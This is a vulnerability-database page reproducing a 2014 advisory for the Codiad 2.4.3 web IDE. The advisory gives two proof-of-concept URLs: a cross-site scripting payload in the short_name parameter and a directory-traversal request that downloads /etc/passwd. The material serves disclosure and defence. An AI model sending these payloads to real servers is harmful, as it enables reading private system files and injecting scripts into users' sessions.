Codiad 2.4.3 - Multiple Vulnerabilities
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
 | Codiad 2.4.3 Cross Site Scripting / Local File Inclusion Vulnerabilities | 20 Dec 201400:00 | – | zdt |
| GQ File Manager 0.2.5 Sql Injection / Cross Site Scripting Vulnerabilities | 20 Dec 201400:00 | – | zdt |
 | Exploit for Path Traversal in Codiad | 24 Nov 202016:49 | – | gitee |
| Exploit for Path Traversal in Codiad | 6 Sep 202515:20 | – | gitee |
| Exploit for Path Traversal in Codiad | 26 Sep 202021:18 | – | gitee |
 | Codiad short_name Cross-Site Scripting Vulnerability | 13 Jan 201500:00 | – | cnvd |
| Codiad path directory traversal vulnerability | 14 Jan 201500:00 | – | cnvd |
 | CVE-2014-1137 | 10 Jan 201500:00 | – | cve |
| CVE-2014-9581 | 8 Jan 201520:00 | – | cve |
| CVE-2014-9582 | 8 Jan 201520:00 | – | cve |
10
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
INDEPENDENT SECURITY RESEARCHER
PENETRATION TESTING SECURITY
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Exploit Title: Codiad 2.4.3 - Cross Site Scripting - Local File Inclusion Vulnerability's
# Date: 19/12/2014
# Url Vendor: http://codiad.com/
# Vendor Name: Codiad
# Version: 2.4.3
# CVE: CVE-2014-1137
# Author: TaurusOmar
# Tiwtter: @TaurusOmar_
# Email: [email protected]
# Home: overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High
Description
Codiad is a web-based IDE framework with a small footprint and minimal requirements.
Codiad was built with simplicity in mind, allowing for fast, interactive development without the massive overhead of some of the larger desktop editors. That being said even users of IDE's such as Eclipse, NetBeans and Aptana are finding Codiad's simplicity to be a huge benefit. While simplicity was key, we didn't skimp on features and have a team of dedicated developer actively adding more.
------------------------
+ CROSS SITE SCRIPTING +
------------------------
#Exploiting Description - Get into code xss in next path
/components/filemanager/dialog.php?action=rename&path=3&short_name=
#P0c
http://site.com/components/filemanager/dialog.php?action=rename&path=3&short_name='"><img src=x onerror=prompt(1);>
#Proof Concept
http://i.imgur.com/rr9b42K.jpg
------------------------
+ Local File Incluson +
------------------------
# Exploiting Description - Get into path in ur' browser and download private file server /etc/passwd
#P0c
http://site.com/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined
#Proof Concept
http://i.imgur.com/LSm360S.jpgData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Dec 2014 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 25
EPSS0.03582